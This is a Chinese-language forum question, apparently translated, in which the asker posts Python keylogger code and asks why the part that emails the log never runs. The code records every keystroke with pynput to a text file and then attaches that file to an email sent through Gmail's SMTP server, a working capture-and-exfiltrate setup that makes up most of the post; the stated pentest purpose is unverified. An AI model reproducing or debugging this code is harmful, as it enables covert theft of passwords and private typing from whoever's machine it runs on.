我正在尝试用python制作一个简单的键盘记录器(用于法律渗透测试目的),但我在让脚本自动向我发送电子邮件时遇到了问题。
如果我把电子邮件代码放在我的键盘记录程序之后,它不会给我发送TXT文件,我想这是因为键盘记录程序脚本不断重复自己,不承认我的电子邮件脚本,我如何才能解决这个问题?
这是剧本:
from pynput.keyboard import Key, Listener
import smtplib
import logging
import smtplib
log_dir = ""
logging.basicConfig(filename=(log_dir + "yourtext.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
email_user = 'EMAIL'
email_password = 'PASSWORD'
email_send = 'EMAIL'
subject = 'logger'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'your text'
msg.attach(MIMEText(body,'plain'))
filename='yourtext.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login('EMAIL','PASSWORD')
server.sendmail(email_user,email_send,text)
server.quit()